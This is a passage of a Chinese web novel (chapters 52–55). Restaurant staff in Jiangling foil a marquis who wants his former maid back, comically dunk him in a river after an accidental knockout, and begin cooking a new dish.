“那个……我也是识得卫侯的,这人吧是骄纵了些,毕竟是千尊玉贵养大的世家子,性情确实古怪了点。可这样人也最好琢磨,凡是行事皆有目的,他娶白婉瑜是为了家族门楣,可他千里迢迢来追你追到江陵,是为了什么呢?”张清寒饱含深意望着赵玉雨道。 接着他又问道,“况且不止卫侯来了,他新婚燕尔的夫人白婉瑜也来了,最为稀奇的是这二人一前一后,明面上都是为了公事来的,实则却皆是为了你。” “为了我?”赵玉雨直起身子,压根半点也不相信。 忽然船外传来了呼啸的风声,风雨欲来吹开了半扇船帘,遥遥一望岸边立着两人,那男子长身而立风流倜傥,眉宇间的忧虑不安仍不掩其风姿绰约,而女子不是别人正是那吃了两碗浇头面的白婉瑜。 两人本是夫妻,站得却不近,一个比一个焦急地朝着船只的方向看,张清寒趁着船只离岸边还有些距离嘱托道,“这两人一个比一个精,他们说什么你都别答应,要不然被买了都得倒数钱。” “放心吧东家,我本是害怕卫侯找来的,可如今到节骨眼却不怕了,他们如此做派我只觉好笑。”赵玉雨主动掀开另外半扇船帘道。 世事多坎坷,怕是没有用的,她赵玉雨要将这些坎坷一个个都掀翻,当然了要是能把那个卫侯掀河里去更好。 “哐当”一声,船只终于是靠了岸,只见这岸上一男一女都撑着伞,两个人在极为宽敞的路上挤来挤去,恨不得最先来到赵玉雨身前,那卫侯眼眸湿漉漉的望向赵玉雨。 结果一下子就被白婉瑜手中的油纸伞挡住了,“妹妹,你就是玉雨妹妹吧,你可要我好找啊,妹妹没被这雨水淋湿吧,来我给你擦擦。” 白婉瑜殷勤地不像个御史,倒像个小伙计,从怀里掏出那手帕轻轻擦拭着赵玉雨的额头,油纸伞大半都倾斜给了赵玉雨。 赵玉雨本来想掀翻坎坷,这下直接愣住了都没来得及躲开白婉瑜的手帕,说好的坎坷呢?这不是坎坷这是美人蛇吧。 “玉雨……”身后的声音传来,说不出的可怜悲切,赵玉雨再一瞧差点就要溺死在卫无平的眼眸中,皆是缠人的万般柔情。 “两位,能否让你们的侍从给我们几个递把伞,这还有四个大活人和一个大活狗呢。”张清寒没好气道。 “是是是。”白婉瑜赶紧递了个眼色,侍从们才给其余伙计们递了伞去。 程六水接过伞,一边撇嘴一边审视地透过雨丝看向卫无平此人,桃花眼炸花尾一看就是花心胚子,红艳薄唇妥妥的薄情寡恩,再一看那白婉瑜笑得跟狼外婆一样,有诈绝对有诈! 她上前一把便将玉雨拉入了自己伞下,“卫夫人可别乱叫妹妹,玉雨是我认得干妹妹,要撑伞也是我这个做姐姐的撑伞。” “玉雨不认我这个姐姐,难道也不识得我身后这位吗?”白婉瑜强压住心中火热道,随后侧身便露出了那卫无平。 赵玉雨瞧了那卫无平一眼,胸口就没来由地一阵剧痛,丝丝缕缕侵入心房,才过了数月就算是再没心没肺的人,也总是有些难以割舍的。 “我……”赵玉雨刚想开口道。 “这么大的雨,甭说玉雨看不清,我都看不清卫夫人身后是谁了呢,你说是吧清寒?”程六水笑道。 “是,愿意跟我回酒楼的就回,不愿意就哪凉快哪待着去,我看这河里就挺凉快。”张清寒冷脸道。 卫无平一见张清寒说话了,自然也不敢造次,张清寒虽比他大不了两岁,可这人朝中无人能惹得起,他不在朝中一载,陛下时不时便念叨着,如此上恩还是躲着点为好。 一行人在狂风暴雨中勉强支撑着油纸伞朝着酒楼走去,雨噼里啪啦地下,正如 走在最后的卫无平与白婉瑜的心,他们各自心怀鬼胎,却都有一个目的——赵玉雨。 而当赵玉雨在酒楼收拾妥帖,换上了一身干净的衣衫时,都不用等她推开门,白婉瑜便在门外蹲守着。 “玉雨妹妹,我可以进来吗?”白婉瑜难得夹了夹嗓音,愈发的温柔了起来,怕是真来诱骗小红帽的了。 “进来吧。”赵玉雨没有迟疑道。 结果白婉瑜一推开门,好家伙酒楼五人组正襟危坐在房中,目光如炬地看向了白婉瑜。 “白婉瑜这么晚了,有话快说,玉雨身子刚刚好可经不得你这么折腾。”马陶陶扬起脖子,无所顾忌道,反正已经都撕破脸了,管白婉瑜什么御史不御史的,再怎么样她都是被虫子追得满街跑的白婉瑜。 “马陶陶你,看到你我又想起来了,当年你做得好事!害我差点名声扫地!”白婉瑜睁大了双眼,刚才在雨里压根没注意,没想到啊这京中宿敌竟也在这酒楼里。 “白小姐,这里是十全酒楼,不是你们伯远侯府。”乔四方在一旁开口震慑道。 这回白婉瑜大脑瞬间卡住了,这人为什么这么眼熟声音也很耳熟,遥远的记忆正在快马加鞭赶来,那是很久之前她年岁还小,“你!你就是那个要送我上西天的人,爬了这辈子都没爬过的山,当时我真是叫天天不灵,叫地地不应啊。” “卫夫人你是来找我的吧?”这时赵玉雨浅浅一笑道。 “对对对,但这里人太多了,我能单独同你说吗?”白婉瑜瞬间扭捏成了小女儿情态,整个人透露出了非比寻常的气息。 “不能,我们酒楼穿一条裤子,一定要整整齐齐地听你讲。”程六水摆出小恶魔一样的笑容,显然白日里那个说话圆滑做事滴水不漏的程六水早就没影了,只余这么个能气死人的她。 白婉瑜环顾四周,最后只能无奈叹气道,“我此行是真心要认玉雨这个妹妹的,当时我刚刚与卫侯成亲哪里知道府中的事,没两天便见卫侯愁眉不展的,我这才知原来是因为妹妹,我这几月到处寻访好不容易寻到了妹妹的下落,这才快马加鞭地赶来,你要是不嫌弃就再随我回府吧,毕竟那里才是你的家。” 程六水听了这话根本就忍不住地皱眉,鬼才信这话呢,没有人能真心实意说出这番话,无论男人还是女人,对于配偶的独占性是刻在骨子里难以磨灭的。 “我不信。”赵玉雨也是破罐子破摔了,往日里她谨小慎微,如今大难临头反而爱咋咋地了,光脚的不怕穿鞋的,想那么多也是无用的,还不如把这些日子里憋在心里的苦楚都说出来。 “妹妹,你不信我没关系,你总得信无平吧,他对你当真是一片真心,他不敢见你怕你责怪他,这才派我先来与你说上一说,你若是有半分宽宥他,不如亲自去见见他便知道了。”白婉瑜柔着嗓子道。 “卫夫人,我来捋一捋,你现在的意思是,因为见不得卫侯思念玉雨,你就主动来寻玉雨,让他们二人终成眷属?”程六水撇着嘴难以置信道,难道这真的是古代人的思想吗?她不理解啊。 “是了,我毕竟是为人妻的,只要夫君能开怀我便一切都好了。”白婉瑜仿佛真成了贤妻良母道。 “???白婉瑜你啥时候变成这样了?你以前不是号称京城一霸的吗?”马陶陶震惊得嗓子都要破音了,自己硬生生掐了自己一下,才知现下不是在做梦。 这时张清寒才开口道,“白御史你瞒得过别人瞒不过我,皇城司监察百官,你们夫妇既是侯爵又多在御前行走,自然了皇城司也得多加关照,你们夫妇自成亲起便多有不合,甚至闹到分府别住的地步,虽然你哥哥白承茂给压了下来,没多少人知晓,可这却逃不过皇城司的眼睛。你不如直说此次到底是为何而来,如此东拐西拐的岂不费事?” “我们夫妇打是亲骂是爱不行吗?谁说恩爱夫妻就得你侬我侬的,我们打打闹闹才是真。”白婉瑜梗着脖子死犟道,那是一点理都不讲了。 弄得马陶陶瞬间就激动了,白婉瑜从小就是这副鬼样子,真是气得人牙根痒痒,长大了在人前还能装个七七八八,现下就挺不住了原形毕露了吧。 “卫夫人有什么话你就直说吧,说不定我真的会答应你呢。”赵玉雨柔和的面庞泛起了如桃花般的笑容,这笑与寻常不同,却引得白婉瑜立时熄火了。 “真的?我说了你就会答应?”白婉瑜追问道。 “你都不说到底是何事,我又怎么答应呢?”赵玉雨笑道。 “好吧,我先前真的没有骗你,那卫无平对你确实是真心实意的,他发现你失踪后都要疯了。但我想请你回去,也确实不是为了卫无平,我是为了我自己。”白婉瑜这回才老老实实道。 “你自己?”赵玉雨反问道。 “我本就不愿嫁人,可这桩婚约是我父亲的遗愿,就算是皇后娘娘疼惜我也奈何不得,百善孝为先我无奈之下只能嫁了。如今我嫁也嫁了,过得却属实算不上好,张大人的眼线说得不错,卫无平此人狂妄自大从不考虑别人的想法,哪怕我是他的妻子,也不能幸免。 我便生出了要与他和离的念头,然我们成婚不足半载,若是现下我就无缘无故和离,难免遭人非议。对我来日御前行走女官仕途也多有不便,好在我发现了他与你竟还有这般前缘,也是因了我,你们才渐生嫌隙的。 那倘若我走了,你们便可重归于好,我也得了个退位让贤的由头,岂不是皆大欢喜,最多也就是卫无平的名声不太好听,世人会说他宠妾灭妻家宅不宁。可他名声本来也就不怎么好,这点添油加醋的坏名声也不差啥了。“白婉瑜将这前因后果娓娓道来,神情晦暗不明确实也是这段时间过得极不如意了。 而屋外站在屋檐下的卫无平眉头紧锁,他不在乎白婉瑜是如何想,他只想知道玉雨的回答。 第53章 梨脯 烛火幽微光影晃动,或明或暗地打在了赵玉雨的脸上,眼睫轻颤久久未语,方才蹙起的眉始终也没舒展。 小小的一间屋子静得吓人,掉根针都能听见,众人皆屏住呼吸看着赵玉雨,白御使所说无疑是个两全之策,既全了当初赵玉雨所求,又放了白御使自己一条生路。 可当初所求便是如今想要的了吗?程六水紧张地望向玉雨,若她是玉雨,她定不会跟着这个卫侯回京,守着个如此狂妄自大的男人有何用?都不如她做的梨脯有用呢,起码梨脯甜滋滋得好吃,还能润喉止咳。 但她不是赵玉雨,未经他人苦,就莫劝他人善,没人能替玉雨决定接下来的一生该如何走。 “我只是一介弱质女流,肩不能挑手不能扛,在侯府也只学会了些伺候人的本领,我起先实在不知自己有什么能耐在这世上活下去。故而我离开侯府之时,是下了死心的,我本就被爹娘卖了的人,连至亲骨血都能如此对待,如此吃人血肉的世道,我是极怕的。而卫侯比之旁人待我确实好了许多,衣食无忧四季三餐,我虽不知他是否有些许真心,但我的真心是十成十的。”赵玉雨终于开口,眼眸闪动娓娓道来。 此言一出,众人神色各异,白婉瑜眼睛瞬间亮了起来,就差拉着赵玉雨的手送到卫侯手上,来个手牵手心连心。 而马陶陶宛如一只上蹿下跳的猹,挤眉弄眼地都快鼻歪眼斜了,一个劲地给程六水使眼神,全是要阻止赵玉雨不让走的眼色。 她身后的乔四方不知从哪变出了条绳子,这绳子一看就是江湖人使的,粗得吓人要是捆上了怕是半点都动不得的。 程六水接收到了两人的信号,转头龇牙咧嘴了起来,竟玩起了唇语这一招,给张清寒看得一愣愣的。 张清寒要不是在外想着注意形象,脸都得皱巴成大包子了,这说啥呢?拿绳子绑谁?绑卫侯?直接做掉卫侯??? 幸亏张清寒是坐着的,不然都跌到地上,那卫侯可是过了明路出公差来的江陵,要真是出了事上面一定是要问责的,但他转念一想,如果做成铁案也不是不成,京中公侯死在江陵,方知府想要自保必得与他这个皇城司使上下一条心。而眼前这位白御史巴不得离了卫侯呢,和离于名声多少有些不好,但丧偶则不然,新婚夫婿死了,京中少不得多加安抚,简直是百利无一害。 况且山高皇帝远,待到陛下再派人来查,哪里还能查到什么,张清寒三五瞬间朝着程六水郑重地点了点头,难度虽大但能做,自己办事六水放心。 程六水不知所措地瞅着张清寒异常认真的脸,她不是只是让张清寒用这绳子吓唬吓唬卫侯,给这么个外强中干的货色吓跑,这样玉雨就算想跟着走也走不成了,怎么东家这般吓坏人的神情。 在酒楼几人眼神中生了死死了生的卫侯激动得更是不知所 以,只待推开门带着玉雨回京,先前是他的不是,如今他当真知错了,定要好好待玉雨。 “可惜我终究离了侯府数月,圈养惯了的鸟儿当然觉着哪都没有金丝笼舒坦,可只有飞了出去才知这世道也是能活上一活的,无需卫侯庇佑我仍能自食其力地活着,靠着我的手脚衣食丰足。他当初能给我的,我自己也能给,至于他的真心我要那东西着实没什么用……” 赵玉雨温和笑道,说到着看向程六水接着道,“都不如六水做得梨脯有用。”!!!程六水顿时腰板做得溜直儿,就是个儿不够高,不然都得顶破房顶几片瓦,不是她自夸,她就知道自己这手艺公侯都不换,小手嗖嗖几下,咧着嘴笑得大板牙都露出来,递了个小筐子给赵玉雨。 赵玉雨正在那儿劝白婉瑜呢,低头一瞧梨脯??? “白小姐,我在这里生活得很好,京城太大侯府太空,不是我能待得地方。”赵玉雨捧着个小筐子劝道。 “青天大老爷啊,那我可如何是好?这日子我是一天都过不下去了,这侯府谁爱待谁待吧,我就算不和离我也要回哥哥那儿住。”白婉瑜天塌了般哀嚎道。 “哼还说我天天哥哥的,我看你也没好到哪去。”马陶陶撇着嘴走到白婉瑜身旁道,说着便塞了个梨脯到白婉瑜嘴里,“心里苦就多吃点甜的,吵死了你。” “既然玉雨不能同卫侯回去,你可以给卫侯安排别人啊,最好多安排几个花魁做个局,到时候那卫侯流连烟花柳巷的名声一传扬开,不就成了吗?”程六水目光清澈道,果然穿越前的宅斗宫斗文没白看,缺德招儿全记脑子里了。 “对啊,你说得对啊!”白婉瑜一拍大腿,这招好啊她怎么没想到呢。 “咳咳。”张清寒早就察觉到屋外有人,眼见这几人说话越来越跑偏,赶忙出言提醒道。 话音刚落,房门便被一下子推开,只见来人面色苍白桃花眼中瞧着仍是柔情万分,却暗含三分狠厉,显然是听了赵玉雨的决绝,终是按捺不住本性了。 “卫侯别来无恙。”张清寒面色如常开口道。 “不想京中一别,竟能在江陵这小小酒楼见着张大人,还真是本侯的荣幸。”卫侯薄唇轻启,倨傲挑眉道,目光越过众人,毫不掩饰地看向赵玉雨,鹰眼狼顾般圈住了她。 “实则不敢当,侯爷言过了。”张清寒直截了当地站在了众人身前,阻挡住了卫侯。 “呵,昔日京中大人手伸得就长,满朝文武皆在你监视之下,如今隐居于此,手竟然还这么长,怎的连本侯的家事也要管吗?”卫侯上前一步,扬着头毫不避讳地与张清寒对峙起来。 “侯爷,我如今与侯府毫无瓜葛,属实是说不上什么家事。”轻轻柔柔的声音传来,赵玉雨笑道。 此言一出,本来趾高气昂心高气傲的卫侯瞬间如丧家之犬般塌了脊梁,他勉强撑起脸皮,声音颤抖道,“……玉雨,你说你我毫无瓜葛?” 如此一张楚楚可怜的桃花面,只此一眼赵玉雨便险些站不住,侧脸愣了几瞬才道,“诸位,我想与卫侯单独谈谈。” “好好好!”酒楼众人十分配合地拽着个泪眼懵懵的白小姐就往外跑,还不忘关上门,然后又开始扒起了门缝…… “我们这样是不是不太好啊?”乔四方挠了挠脑袋小小声道。 “是不太好,但万一卫侯这老小子趁我们不在,把玉雨掳走了怎么办?”马陶陶振振有词道。 “说得有道理。”程六水听完甚觉有理,不禁点了点头,十分安心地听了起来。 屋内起初静悄悄的,一双男女执手相看泪眼,皆是悲痛从心来,只听那卫侯道,“玉雨跟我回去吧,莫说是妾室,待我与那白婉瑜和离,那正妻之位都是你的,你便做这侯府唯一的女主人可好?” 赵玉雨着实惊到了,忍不住后退几步,怔愣片刻才苦笑道,“从前你连个妾室的名分都不愿给我,你我分离几月,却能忤逆祖宗,要迎我这庶民入门?” 她看着卫无平眼里的一丝闪烁躲避,了然于胸道,“你做不到的,你惯会哄骗我,先前拿你的真心哄骗我,如今拿着名分哄骗我,你于我从来都是三分真七分假。” “玉雨,我于你从来都是十分真,我是不能忤逆祖宗礼法,大不了我不娶正妻了,唯你一个妾室,你想要的真心名分我都予你,你离开的这段日子,我方知我不能没了你啊。”卫侯眼角微红,殷红的唇狠狠抿起,高大的身影牢牢地困住了赵玉雨,嘴上说着讨饶的软话却强势地欲占据赵玉雨的心神。 赵玉雨坐在圈椅里,无视着卫无平的癫狂,伸出手从小筐子里拿出了一个梨脯,一入口便是砀山梨的清甜润弹,用野蜂蜜腌煎过的,槐花蜜的花香裹着梨子,轻嚼两下便是直达心坎里的幸福。 “你需要娶正妻,当初你娶白小姐便是为了结两姓之好,巩固长安侯府在朝中的权势声望,没了白小姐定还会有张小姐李小姐的。但其实我并不在意你娶谁,不是因为我不爱拈酸吃醋,而是因为我不爱你了卫无平。 方才你眼角微红的求我,放在数月前我见你难受,我定是比你还难受百倍,可方才我只是在想你当真是生了张好面孔,亏得白小姐见多识广没着了你的道。 未见你时,我说了许多话,说我有手有脚能养活自己,说我不求你真心不愿回京。唯独没说,我不再心悦于你,可现下见到你,我才知我的心比我想得狠多了,它早就不爱你了。“赵玉雨浅浅回道,古井无波的杏眼里只剩下怜悯。 卫无平听罢面目狰狞,不禁冷笑起来,“你不爱我?我不管你爱不爱我,我只要你在我身边,三年五年十年一辈子,就算你永远不爱我,你也只能装出那副爱我欲生欲死的模样。玉雨,这世上没人在意你,你爹娘不要你了,只有我还要你,你不爱我你去爱谁?” 赵玉雨还未说话,屋外扒门缝的程六水就已经气得咬牙切齿的,手里比蛇还粗的绳子都准备好了,这个卫侯简直就是个老登!!!活该被绑! 第54章 涮卫侯 此话一出,屋内愈发寂静,酒楼几人在外面是什么也听不见,忽而“哐当”一声重重砸了下来,吓得马陶陶一着急直接不管不顾地推门而入,定睛一瞧立时傻了眼。 方才还在这大放厥词的卫侯爷趴在地上如同一只待宰的羔羊,连程六水手中的绳子都没了用武之地。再一看那卫侯脸色苍白得吓人,两眼一闭双腿一蹬刹那间就不省人事了。 程六水愣了一愣,还是默默地拿着绳子绑住了卫无平的双手,这才放下心来道,“玉雨,你这身手不错啊,打人一打一个准。” “……我没有,这只是个意外。”赵玉雨眨巴眨巴了眼睛,转身低头看去。 一只通体雪白毛茸茸的小哈巴狗扬起了无辜的脑袋,讨好地“汪”了一声,它那后爪子上缠着几根灰线,这线本是赵玉雨针线筐里的,不知怎么就被这小狗子钓了去,东缠缠西玩玩。 偏生这只小哈巴狗天生不爱叫,生得四腿矮小,方才众人的注意力都在卫侯身上,竟无人发现小狗子在玩线团的过程中,早已在这屋子里布下了天罗地网,那卫侯方才一激动直接就大步跨出要强行带赵玉雨离开。 一个不留神,就被小狗子后爪与桌子腿相连的粗灰线绊倒,若只是平常绊倒倒也不打紧,怎奈卫侯下意识一个伸手抓向了桌上的梨脯小筐子,十成十的槐花蜜早就在不知不觉中渗透在了小筐子底部。 小筐子被一拽瞬间打起了出溜滑,倒霉的卫侯啥也没抓住,自己还大力出奇迹直直朝着身后仰去,好看的后脑勺好巧不巧撞上了杜少仲临走前酿的几坛好酒。 赵玉雨本就近来经常请教杜少仲酿酒的法子,前几日取来酒 坛向研究一二,哪想到竟这么巧,卫侯的后脑勺愣是没有酒坛子硬,电光火石间就撞晕了,摔在地上成了个狗吃屎。 众人听完这一番曲折经历后,神色皆是难以形容,明明卫侯都摔晕了,可程六水怎么就是有点莫名地想笑呢,这笑里既解气又幸灾乐祸,可她好歹算是个厚道人,笑得太明显不好吧? 程六水再一看那卫侯大脑袋旁的酒坛子碎片,盛着去岁冬时杜少仲最为金贵的菊花白酒,小哈巴狗不知何时颠颠跑了过去,伸出粉色小舌头欢快地舔着,越舔越摇头晃脑的,不一会儿就栽楞着身子趴在卫侯的大脑袋上呼呼大睡了。 “呜呜呜嘿嘿呜呜嘿嘿。”程六水是再也忍不住了,只能用袖子捂住快咧到后脑勺的嘴,控住不住地出声。 “……笑吧。”张清寒被这似哭似笑的声音一激,也没忍住说罢便哈哈哈大笑起来。 满屋子里皆是众人此起彼伏的笑声,大笑如打哈欠般迅速感染了所有人,当然除了在地上昏迷不醒的卫侯和醉倒的小哈巴狗。 “哈哈哈真是恶人自有恶人磨,叫他猖狂叫他嘚瑟,还敢威胁玉雨,我看他是好日子过到头了乐极生悲。”马陶陶笑得前仰后合道。 “不如趁他昏迷不醒,直接把他做掉吧?”微弱却坚定的声音在众人的哈哈哈声中异常清晰。 乔四方转头看向说话之人,好家伙最想做掉卫侯的人竟是白小姐?真是夫妻本是同林鸟,大难临头各自飞。不对他俩不是各自飞,俩人都是对方的大难啊。 “倒也是不必吧,他生来本就是这样的人,算不上十恶不赦,只是令人厌恶无比。”赵玉雨皱了皱眉开口道。 紧接着又道,“如今倒春寒冷得很,白日里我看断口子河河水更是寒冷彻骨,不如把卫无平踹下去涮几回,这样就算是解气了。” 程六水听罢悄摸摸抱住了自己的小胳膊,那河水前几日才刚刚化冻,雨后更是嗷嗷冷,好怕好怕哦。 “我看行!到时候他再大病一场,他小时候就身子骨不好,最好把他那病根都激出来,待他卧床个一年半载,我就说他不能人事跟他和离!”白婉瑜一个劲地点头,越说越来劲拉着赵玉雨就是不放啊。 有的时候,三个人的故事不一定是爱恨别离,但一定是要死要活,至于谁死就说不准了。 可怜的不省人事的卫侯老老实实地躺在了板板上,板车前拴着的是大晚上还要起来干活的怨种小毛驴。 小毛驴不满地喷气,一颠一颠地折腾着板板上卫无平,可那卫无平却半点反应都没有,他那后脑勺虽未流血却鼓起了好大一个包。 在场好几个人竟都没想起来,先给他把把脉医治一下,都在那儿昂首挺胸雄赳赳气昂昂地朝着断口子河前进,而小哈巴狗正窝在暖和和的棉花窝里睡觉,临走前乔四方还不忘给它掖了掖小被子。 “这样四方你给卫侯一下子悠下河去,东家拽着绳他力气大,过一会儿再把卫侯拽上来。”程六水在寂静无边的黑夜里比比划划着,不知道以为是交响乐团首屈一指的指挥家呢。 “那要是他在河水里冻醒了反抗怎么办啊?”马陶陶摸着下巴沉思道。 “没事,东家平时冷着脸就跟个煞神一样,这夜里一瞧更吓人,那卫侯一睁眼说不定以为见着鬼了呢,估计又得给他吓晕过去。”程六水拍了拍马陶陶的肩膀振振有词道。 “……我真的吓人吗?”张清寒听了敢怒不敢言,只能转头问乔四方。 “不吓人啊,六水是没见过老大你出任务,现下才哪到哪啊,那你半夜抄家的时候,何止是煞神那就是阎罗王。”乔四方笑呵呵地说道,老实人句句都是大实话啊。 “行了,你也别说话了。”张清寒撇着嘴没好气道,手下绳子拽得更紧了,绳子的那端连着卫侯的手腕,磨得通红甚至冒出了血丝。 “一二三!”程六水一声令下,那人肉铅球就“嗖”的一下飞了出去,张清寒毫不费力地把控着绳子,面无表情地挥舞着上上下下左左右右。 白婉瑜拉着赵玉雨在一旁兴高采烈打着节拍,就差喊出来你拍一我拍一,一个小孩坐毛驴;你拍二,我拍二,两个小孩梳小辫了。 此时已然是宵禁时分,寻常百姓早已回家安然入睡了,空空如也的街上本该肃静一片,可愈发近的马蹄声“哒哒”地传来,那声音似是十分迫切。 “好像有什么声音?”乔四方皱眉道,他竖起耳朵听了起来,先前做杀手的职业病暴露了出来,尤其在夜黑风高的时候,喜欢眼观六路耳听八方。 “哪有哪有?”马陶陶正在拍手叫好,猛然被打断上去就要捂住乔四方的嘴。 程六水瞅着天上的圆月,眼看这涮卫侯的时辰大抵上是差不多了,再涮怕是卫侯要出个好歹的,那可不行他们既不图财也不害命,就是为了个出气,她又转头看向正在打拍子的三人,好吧除了出气还为了玩。 “东家拽出来吧。”程六水高声一呼,只见那全身湿漉漉的卫侯从冰冷的断口子河里一跃而起,滴着水珠的长发飘散在空中,宛如一水鬼在这黑夜里横空出世。 “啊!!!”一声极为尖锐的嚎叫响彻了大街小巷,这嚎叫的声音异常熟悉,众人纷纷回头张望起来,那马背上的杜尚书独子杜少仲双目圆睁,直勾勾盯着湿透了的卫侯,结结巴巴地说不话来,下一瞬便从马上栽了下来。 “少仲!”乔四方一个箭步猛猛冲了过去,那如鬼魅般的身影在虚空中闪烁瞬移,千钧一发之时硬生生接住了这位手无缚鸡之力的文弱书生。 “救命!有鬼!”杜少仲震耳欲聋地嘶吼着,直接将自己那最后一点气喊没了,头一歪眼一闭。 “得了又晕一个。”白婉瑜在一旁摇了摇头道。 “快快快,快回酒楼。”张清寒赶着驴车,一贯不紧不慢的脸上也有着些许急迫,赵玉雨担忧皱着眉一路小跑地跟着。 程六水,马陶陶和乔四方三人殿后,走到半路上乔四方挠了挠头道,“我们是不是忘了什么?” “没有吧?”程六水摇了摇头道。 “我也觉得哪里不对,我们是出来干什么来着?”马陶陶仰着头思索道。 程六水圆溜溜的大眼睛顿时立了起来,一拍胳膊道,“遭了忘了个人!” “天老爷啊,把卫侯爷落河边了。”乔四方说罢拔腿就跑,幸亏他是脚程快,这回都用不上驴车了,人肉牛马上线紧赶慢赶背着卫侯回了酒楼。 这一夜一顿折腾,张清寒将卫侯最终安顿在了杜少仲那屋,他挨个把脉瞧两人皆是无事,顶多是卫侯染了些风寒,少仲心悸受惊而已,熬了黑苦黑苦的药汤强灌下去。 众人安心地锁好了杜少仲的房门,打着哈欠十分困地各回各房睡觉去了,谁家好人也经不起这样的折腾啊。 日上三竿,静谧的屋子里发出了细微的声响,一双极招人的桃花眼睁开了,以往的狠厉倨傲悄然消失了,取而代之的是不曾有过的懵懂天真。 第55章 沙律牛排 “救命啊!谁快来救救我!”杜少仲的小屋在后院的西北角,白日里酒楼生意火爆厨房里大勺翻滚出火花,压根没人注意到此处那如杀猪般的嚎叫声。 “糖糖!哥哥我要吃糖糖。”成熟的男音在杜少仲耳边响起,而他的身上被对方修长的手脚捆绑住动弹不得。 “卫大侯爷你就饶了我吧,我不是你哥哥,你是我祖宗行了吧。”杜少仲这屋子已经有月余没住过人了,甭说是糖糖了,连被褥都是昨日现找出来的。 “为什么不给我吃糖糖,是因为我不乖吗?”卫无平嘟起嘴委屈巴巴,三份可怜四分难过地低下了头道,再一抬头那双水汪汪的桃花眼泛起了阵阵涟漪,可惜媚眼抛给瞎子看,杜少仲只是生无可恋地扶额。 谁能告 诉他这到底是怎么了?去岁酿的菊花白酒已然到了最好的品鉴之时,他背着行囊回江陵,紧赶慢赶地快马跑回来,就是为了喝上这一盏清酒。 可到头来酒还没喝上,黑灯瞎火的见着个从天而降的水鬼,吓得他心脏直突突啊,他本来胆子就小,读书人不是在学堂就是在朝堂,就是没在过灵堂。 “你不是我哥哥,那你是我爹爹吗?”卫无平宛若新生赤子,天真无邪地看向杜少仲,这眼神里竟还有一丝孝顺。 “哎呀妈呀不敢当不敢当,我哪敢当你爹啊,你爹都能把我生出来。”手无缚鸡之力的杜少仲死命地想要从这位八爪鱼卫侯手底下逃离,奈何卫侯虽武艺不精但好歹家里是武将出身,总有一把子力气在,一个泰山压顶直接将杜少仲坐到了身下。 “你就是不要我了呜呜呜。”卫无平坐在杜少仲身上就开始哭天喊地的,瞧着属实是真情实感,主打一个幼童的撒泼打滚,不达目的誓不罢休。 正端着碗筷要到井边洗碗的赵玉雨,微微抬起了头,四处张望了一圈,怎么听见有人在哭呢?这声音还越听越熟悉。 没过一会儿,酒楼闲散人士张东家,远方来客白小姐以及耳力惊人赵玉雨围在了杜少仲的房门口。 “我怎么没听到声音?”白婉瑜耳朵贴着木门道。 “里面确实有动静,我听见了。”张清寒站在身后,拿出了钥匙“咔嚓”一声打开了这锁。 木门被吱呀推开,可怜的杜少仲奄奄一息地躺在地上,耷拉着眼皮捂着自己胸口,颇有种实在是活不起了架势。 而卫无平哪还有什么半点权贵体面而言,金贵的绸衫撕成了布条子,他正在快乐地甩起布条子,抛在半空中卷成好几个旋儿。 “救命……你们终于来了……”杜少仲深深叹了一口气,最终无力地两眼一闭当作自己没来过这世上。 张清寒从身后极为自然地取出了麻绳,素来冰冷的面孔笑得异常和善道,“平平,喜欢玩绳子吗?” 卫无平懵懂地抬头道,“喜欢。”然后他就被绳子五花大绑起来了。 “你们说这是怎么一回事呢?”白婉瑜皱着眉看着自己脑子疑似被撞坏了的新婚夫婿,笑得那叫一个开心。 张清寒紧紧按住卫无平的手腕,搭脉看诊又绕过去瞧了瞧那鼓起的后脑勺,淤青红肿成一片,着实是磕得不轻,只不过这家伙算身强体壮,昨夜药汤灌下去,如今风寒就快好了。 “乖,翻个白眼给我。”张清寒哄着哭哭唧唧的卫无平,不等卫无平反应,就无情地伸出手来翻开了他的眼皮,血丝密布脉象诡异,时重时轻漂浮不定。 “他不会是摔坏脑子了吧?”赵玉雨小心翼翼问道,她只是想整整他,没想真给他整出病来啊,再说了是他自己撞酒坛子上的。 张清寒神情肃穆,沉吟片刻道,“摔坏脑子不至于,应是昨夜猛然大力碰到了酒坛,脑子里的血块沉积了下来,失了记忆神智如几岁孩童,这病我有个师兄也得过,过了几月淤血自行消散就好了,只要多加照料便无事了。” “酒坛什么酒坛?!”本来还在闭着眼睛装死的杜少仲立时坐了起来,那一张俊脸别提多扭曲了,扭曲中是心痛,心痛里是仇恨。 “就是那个那个,那个酒坛子啊。”赵玉雨眼睛左看右看,就是不敢看杜少仲,心虚地开口道。 白婉瑜在赵玉雨与杜少仲间来回看了几遍,饶有兴致道,“哦那酒坛子里我记得有缕菊花的清香。” “不!我的菊花白酒!”杜少仲再一次捂住了胸口,这回怕是真要抽过去了。 而正在后厨里忙活着的程六水听着耳报神马陶陶诉说着,卫无平傻了杜少仲疯了的场景,不厚道地笑了。 “这俩人还真是不知道谁比谁更可怜。”程六水笑道,如今正午早过了,食客们陆续离开,她若有所思地挑出一块瘦瘦的里脊肉,血红肌理无疑十分新鲜。一把大菜刀刷刷在空中转了几圈,刀刃嗖嗖地切起里脊肉,不出一会儿,薄薄肉片就码了一整盘。 “六水,你是要做水煮肉片吗?”马陶陶不禁咽起口水,眼睛亮晶晶道。 程六水故作高深地用锃光瓦亮的刀背照了照脸道,“放心,绝对是一道你没吃过,但一定爱吃的菜。” 葱姜水清酱再来上些许生粉盐巴裹住了肉片,程六水拿起一个大碗,打入鸡蛋黄,盐巴和白砂糖一点点搅拌均匀,最后又随随便便地加了点白胡椒粉进去。 这时程六水竟然在这碗里慢慢倒起了菜籽油,另一手依旧忙不停歇地搅拌着蛋黄,一滴两滴菜籽油渐渐成了一勺两勺菜籽油,在翻搅的过程中,与那蛋黄砂糖充分融合,最后这酱汁成了异常丝滑浓稠的淡黄酱,挂在勺子上都不带掉的。 “我滴个乖乖,这是个啥啊?”马陶陶拄着下巴,连连惊叹道。 “莫急莫急。”程六水用筷子轻尝了几下味道,点了点头再倒了些白醋砂糖进去。 而一旁的里脊肉片也腌好了,裹上刚刚没用的蛋清,一层肉一层蛋清再来上些地瓜粉,颜色好看得紧。 起锅烧油,长长的木筷子灵巧地夹着一片又一片的薄肉片,油温刚起冒了些许泡泡就是入锅的好时候,金黄的肉片在滚烫的菜籽油中旋转跳跃,空气瞬间弥漫着糖油混合物的满足感。三下五除二的功夫,一盘子炸好的肉片倒入盘中,刚刚做好的酱汁铺在了炸肉片上,淡黄金黄交相辉映着。 